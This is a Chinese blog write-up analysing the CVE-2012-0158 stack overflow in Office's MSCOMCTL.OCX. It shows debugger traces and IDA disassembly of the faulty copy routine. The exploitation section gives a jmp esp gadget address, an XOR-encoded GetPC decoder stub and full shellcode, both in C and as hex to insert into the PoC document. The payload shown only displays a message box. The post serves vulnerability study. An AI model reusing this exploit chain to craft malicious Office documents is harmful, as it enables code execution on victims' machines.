CVE-2012-0158分析

0x00 漏洞描述

  • CVE-2012-0158 Microsoft Office MSCOMCTL.ocx栈溢出漏洞是Office的经典漏洞,作为Office的入门漏洞,这个漏洞很有学习价值
  • 漏洞成因是由于Microsoft Windows的MSCOMCTL.OCX插件中的MSCOMCTL.TreeViewMSCOMCTL.LstView2MSCOMCTL.TreeView2MSCOMCTL.ListView控件中存在内存拷贝时检查条件错误而造成的栈的缓冲区溢出,导致可被用于执行任意代码。

0x01 分析环境

  • 使用了如下的分析环境:
名称使用的环境
操作系统Winodw 7专业版(32位)
虚拟机VMware
调试器OllyDbg/WinDbg
反汇编器IDA Pro
漏洞软件Office 2003 SP3
Office格式分析工具010Editor

0x02 漏洞分析

复现漏洞

  • 安装Office 2003 sp3,软件资源链接: https://pan.baidu.com/s/10XQ29z7rLDIDxY_2t9mi1w 提取码: 700w

  • 运行PoC,PoC获取可以通过如下的网站:

    • https://www.exploit-db.com/:国外知名漏洞利用库,内含丰富的学习资源
    • https://www.securityfocus.com/:国外著名漏洞信息库,有很多漏洞公告信息和一些漏洞的分析文章和PoC代码

    PoC运行后效果如下,显示了如下的异常信息,异常偏移为0x41414141,说明漏洞利用成功:
    在这里插入图片描述

分析漏洞

  • 使用OD进行附加分析,需要先把OD中StringOD和异常选项中忽略的异常全部恢复

分析思路:

  1. 打开Word,使用OD附加进程,word进程名称为WINWORD.EXE,然后加载PoC文件,产生异常,此时EIP为0x41414141,符合前面的异常偏移

  2. 定位到漏洞触发模块,具体做法是通过堆栈查看当前ESP所在位置,回溯栈上的数据,可以发现最近的返回地址位于一个叫做MSCOMCTL模块中的一个地址0x275C8A0A,在反汇编窗口中查看此地址,具体如图所示:

在这里插入图片描述

  1. 继续向上查看,在找到函数sub_275C89C7入口,在地址0x275C89C7下断,重新运行word并加载PoC,函数成功断下:

在这里插入图片描述

​ 同时可以查看模块找到MSCOMCTL.OCX模块地址为C:\Windows\System32\MSCOMCTL.OCX,有了模块路径后就可以使用IDA配合OD进行分析,因为这个模块是动态加载的,两者结合分析更棒哦

在这里插入图片描述

​ 之后对EBP+4也就是函数返回地址下内存写入断点,F9运行,找到对栈进行溢出填充的地方

在这里插入图片描述

​ 发现成功断在函数sub_275C876D内部,断点位置为0x275C87CB

  1. OD函数调用传参和使用IDA中对函数sub_275C876D进行分析:

在这里插入图片描述

.text:275C876D var_4           = dword ptr -4
.text:275C876D arg_0           = dword ptr  8
.text:275C876D lpMem           = dword ptr  0Ch
.text:275C876D dwBytes         = dword ptr  10h

.text:275C876D                 push    ebp
.text:275C876E                 mov     ebp, esp
.text:275C8770                 push    ecx
.text:275C8771                 push    ebx
.text:275C8772                 mov     ebx, [ebp+lpMem]
.text:275C8775                 push    esi
.text:275C8776                 xor     esi, esi
.text:275C8778                 mov     eax, [ebx]
.text:275C877A                 push    edi
.text:275C877B                 push    esi
.text:275C877C                 lea     ecx, [ebp+var_4]
.text:275C877F                 push    4
.text:275C8781                 push    ecx
.text:275C8782                 push    ebx
.text:275C8783                 call    dword ptr [eax+0Ch]
.text:275C8786                 cmp     eax, esi
.text:275C8788                 jl      short loc_275C8802
.text:275C878A                 mov     edi, [ebp+dwBytes]
.text:275C878D                 cmp     [ebp+var_4], edi
.text:275C8790                 jnz     loc_275D3F93
.text:275C8796                 push    edi             ; dwBytes
.text:275C8797                 push    esi             ; dwFlags
.text:275C8798                 push    hHeap           ; hHeap
.text:275C879E                 call    ds:HeapAlloc
.text:275C87A4                 cmp     eax, esi
.text:275C87A6                 mov     [ebp+lpMem], eax
.text:275C87A9                 jz      loc_275D3F9D
.text:275C87AF                 mov     ecx, [ebx]
.text:275C87B1                 push    esi
.text:275C87B2                 push    edi
.text:275C87B3                 push    eax
.text:275C87B4                 push    ebx
.text:275C87B5                 call    dword ptr [ecx+0Ch]
.text:275C87B8                 mov     esi, eax
.text:275C87BA                 test    esi, esi
.text:275C87BC                 jl      short loc_275C87EF
.text:275C87BE                 mov     esi, [ebp+lpMem]
.text:275C87C1                 mov     ecx, edi
.text:275C87C3                 mov     edi, [ebp+arg_0];栈地址,只有0x8字节剩余
.text:275C87C6                 mov     eax, ecx
.text:275C87C8                 shr     ecx, 2
.text:275C87CB                 rep movsd               ; 此处就是断点位置
.text:275C87CB                                         ; 分析发现就是此处循环复制数据到栈上使得栈溢出
.text:275C87CD                 mov     ecx, eax
.text:275C87CF                 mov     eax, [ebp+dwBytes]
.text:275C87D2                 and     ecx, 3
.text:275C87D5                 push    0
.text:275C87D7                 lea     edx, [eax+3]
.text:275C87DA                 and     edx, 0FFFFFFFCh
.text:275C87DD                 sub     edx, eax
.text:275C87DF                 rep movsb
.text:275C87E1                 mov     ecx, [ebx]
.text:275C87E3                 push    edx
.text:275C87E4                 push    offset unk_27632368
.text:275C87E9                 push    ebx
.text:275C87EA                 call    dword ptr [ecx+0Ch]
.text:275C87ED                 mov     esi, eax
.text:275C87EF
.text:275C87EF loc_275C87EF:                           ; CODE XREF: sub_275C876D+4Fj
.text:275C87EF                 push    [ebp+lpMem]     ; lpMem
.text:275C87F2                 push    0               ; dwFlags
.text:275C87F4                 push    hHeap           ; hHeap
.text:275C87FA                 call    ds:HeapFree
.text:275C8800                 mov     eax, esi
.text:275C8802
.text:275C8802 loc_275C8802:                           ; CODE XREF: sub_275C876D+1Bj
.text:275C8802                                         ; sub_275C876D+B82Bj ...
.text:275C8802                 pop     edi
.text:275C8803                 pop     esi
.text:275C8804                 pop     ebx
.text:275C8805                 leave
.text:275C8806                 retn
.text:275C8806 sub_275C876D    endp
  1. 总结

    综上分析,可以发现在函数sub_275C89C7中一共开辟了0x14的局部栈空间,在函数sub_275C876D之前使用了0xC的栈空间,所以函数内部供使用的栈空间为0x8字节,而由于在函数sub_275C876D中复制的大小超过了0x8字节,所以导致了栈溢出漏洞。这里还有个有趣的是读取的长度也可以通过doc文件中构建,所以修改长度和内容就可以肆意的溢出了

0x03 漏洞利用

PoC分析

  • 用010打开PoC,分析是doc文件中那一部分字段进行了溢出,可以搜索0x41414141找到溢出点,进行分析:

在这里插入图片描述

  • 之后完成一个简单的利用,弹出窗口
    • 首先在OD中找到MessageBoxA的地址0x7611EA71,然后修改溢出点代码,弹出窗口

在这里插入图片描述

漏洞高级利用

  • 使用windbg+mona+pykd.pyd的组合,利用GetPc技术,构造ShellCode弹出Hello World
    • 打开windbg附加word后,使用命令.load pykd.pyd!py mona开启mona,之后使用!py mona find -s "\xff\xe4" -m msvbvm60.dll”找到一个Rebase、SageSEH、ASLR.NXCompat为False,而OS DLL为True的系统模块,获取到的jmp esp地址0x729A0535

在这里插入图片描述

  • 之后构造一段加密的ShellCode,构造好的ShellCode分为两部分,最开始为解密代码,之后为HelloWord窗口弹出ShellCode:
//解密代码可以使用如下的代码
__asm {
		"\x33\xC0" \             // xor eax,eax
		"\xE8\xFF\xFF\xFF\xFF" \ // call 0xFFFFFFFF
		"\xC3" \                 // retn
		"\x58" \                 // pop eax            ;eax=GetPc
		"\x8D\x70\x1B" \         // lea esi,[eax+0x17] ;esi=Shellcode
		"\x33\xC9" \             // xor ecx,ecx        ;ecx=循环计数器
		"\x66\xB9\x95\x01" \     // mov cx,0x0195      ;cx =She..体积
								 //tag_Decode:
		"\x8A\x04\x0E" \         // mov al,[esi+ecx]   ;al =解密前字节
		"\x34\x13" \             // xor al,0x13        ;0x05为Key
		"\x88\x04\x0E" \         // mov [esi+ecx],al
		"\xE2\xF6" \             // loop tag_Decode
		"\x80\x34\x0E\x13" \     // xor [esi+ecx],0x13 ;解密最后一字节
		"\xFF\xE6" \             // jmp esi            ;跳到Shellcode
	}
//加密后的shellcode为
/* Encode Key=0x13 */
char bShellcode[] = \
"\x73\x90\xFF\x43\xF8\x49\x56\x6B\x7A\x67\x43\x61\x7C\x70\x76\x60" \
"\x60\x13\x5B\x76\x7F\x7F\x7C\x33\x44\x7C\x61\x7F\x77\x32\x13\x56" \
"\x6B\x7A\x67\x43\x61\x7C\x70\x76\x60\x60\x13\x5E\x76\x60\x60\x72" \
"\x74\x76\x51\x7C\x6B\x52\x13\x46\x60\x76\x61\x20\x21\x3D\x77\x7F" \
"\x7F\x13\x5F\x7C\x72\x77\x5F\x7A\x71\x61\x72\x61\x6A\x56\x6B\x52" \
"\x13\x54\x76\x67\x43\x61\x7C\x70\x52\x77\x77\x61\x76\x60\x60\x13" \
"\xFB\x13\x13\x13\x13\x48\x77\x98\x26\x23\x13\x13\x13\x98\x65\x1F" \
"\x98\x65\x0F\x98\x25\x98\x45\x1B\x41\x40\x40\x41\xFB\x7C\x13\x13" \
"\x13\x48\x49\x41\x43\x9E\x58\xCE\x42\x41\xEC\xC3\x4A\x49\x41\x40" \
"\x43\x42\xFB\x13\x13\x13\x13\x46\x98\xFF\x90\xFF\x1F\x98\x4E\x03" \
"\x9E\x58\xC1\x79\x13\x79\x13\x42\xEC\x46\x1F\x9E\x46\xEF\x9A\x11" \
"\x98\x4E\x03\x9E\x58\xD5\x42\xEC\x66\xEF\xEC\x46\x1B\x9E\x46\xEB" \
"\x9A\x11\x98\x4E\x03\x9E\x58\xB2\x42\xEC\x66\x07\x98\x56\x1B\xEC" \
"\xC3\x9E\x46\xE7\x9A\x11\x98\x4E\x03\x9E\x58\xBE\x79\x13\x42\x42" \
"\x79\x13\xEC\x46\xEB\x79\x13\xEC\x46\xE7\x98\xF6\x4E\xD1\x03\x13" \
"\x46\x98\xFF\x90\xFF\x1F\x98\x46\x1B\x98\x61\x2F\x10\xE1\x98\x65" \
"\x6B\x10\xE1\x98\x6D\x0F\x10\xE9\x9A\x6E\xEF\x98\x6D\x33\x10\xE9" \
"\x9A\x6E\xEB\x98\x6D\x37\x10\xE9\x9A\x6E\xE7\x20\xDA\x42\x98\x56" \
"\xEB\x98\x17\x9B\x10\x56\x1B\x43\x98\x4E\x1F\x90\xF8\x07\x40\xFB" \
"\x33\x13\x13\x13\x4A\x96\xD3\x66\x10\x52\xF8\xF2\x98\x56\xE7\x20" \
"\xEC\x75\x98\x2F\x5B\x98\x46\xEF\x98\x17\xA9\x10\x56\x1B\x98\xF6" \
"\x4E\xD1\x1B\x13\x46\x98\xFF\x20\xD3\xAA\xEC\xEC\xEC\xEC\x98\x6E" \
"\x1B\xE1\xBD\xE4\xC2\x98\xCA\x20\xD3\xAA\xEC\xEC\xEC\xEC\x98\x6E" \
"\x1F\xE1\xBD\xE4\xC2\x28\xD8\x66\x01\x98\x66\x1F\x98\x6E\x1B\xEF" \
"\xE0\xB5\x66\x14\xAB\x12\x13\x13\x13\xF8\x11\x20\xD3\x98\xF6\x4E" \
"\xD1\x1B\x13\x13";
  • 将上述ShellCode转换为如下文本形式,然后对PoC中的内容进行填充,填充完毕运行
33C0E8FFFFFFFFC3588D701B33C966B995018A040E341388040EE2F680340E13FFE67390FF43F849566B7A6743617C70766060135B767F7F7C33447C617F773213566B7A6743617C70766060135E766060727476517C6B52134660766120213D777F7F135F7C72775F7A716172616A566B521354766743617C705277776176606013FB13131313487798262313131398651F98650F982598451B41404041FB7C131313484941439E58CE4241ECC34A4941404342FB131313134698FF90FF1F984E039E58C17913791342EC461F9E46EF9A11984E039E58D542EC66EFEC461B9E46EB9A11984E039E58B242EC660798561BECC39E46E79A11984E039E58BE791342427913EC46EB7913EC46E798F64ED103134698FF90FF1F98461B98612F10E198656B10E1986D0F10E99A6EEF986D3310E99A6EEB986D3710E99A6EE720DA429856EB98179B10561B43984E1F90F80740FB331313134A96D3661052F8F29856E720EC75982F5B9846EF9817A910561B98F64ED11B134698FF20D3AAECECECEC986E1BE1BDE4C298CA20D3AAECECECEC986E1FE1BDE4C228D8660198661F986E1BEFE0B56614AB12131313F81120D398F64ED11B1313FF

在这里插入图片描述

  • 使用OD附加调试,对jmp esp地址0x729A0535下断,加载新的PoC运行:

在这里插入图片描述

  • 然后继续运行,完美弹出Hello World窗口

在这里插入图片描述

0x04 最后

  • 参考《漏洞战争》对CVE-2012-0158的分析
  • 感谢15PB对我的帮助
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值